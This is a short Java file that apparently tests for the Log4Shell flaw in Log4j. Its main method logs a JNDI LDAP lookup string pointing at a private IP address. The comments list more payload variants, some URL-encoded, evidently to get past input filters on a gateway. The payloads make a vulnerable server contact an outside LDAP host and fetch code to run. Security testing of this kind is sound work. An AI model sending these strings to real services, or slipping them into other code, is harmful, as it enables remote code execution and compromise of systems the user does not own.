import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
    public static final Logger logger = LogManager.getLogger(Log4j.class);


    public static void main(String[] args) {
        logger.error("${jndi:ldap://10.121.140.252:2999/ltv-4}");
    }
}

// ${jndi:ldap://10.121.140.252:1999/secsystemtest}
// ${jndi%3aldap%3a//10.121.140.252%3a1999/secsystemtest}
// %24%7bjndi%3aldap%3a//10.121.140.252%3a1999/gwgw%7d

// %24%7Bjndi%3Aldap%3A%2F%2F10.121.140.252%3A1999%2Ftesttest666%7D

// ${jndi:ldap://10.121.140.252:1999/hxhk-gw-log4j2-vul-2}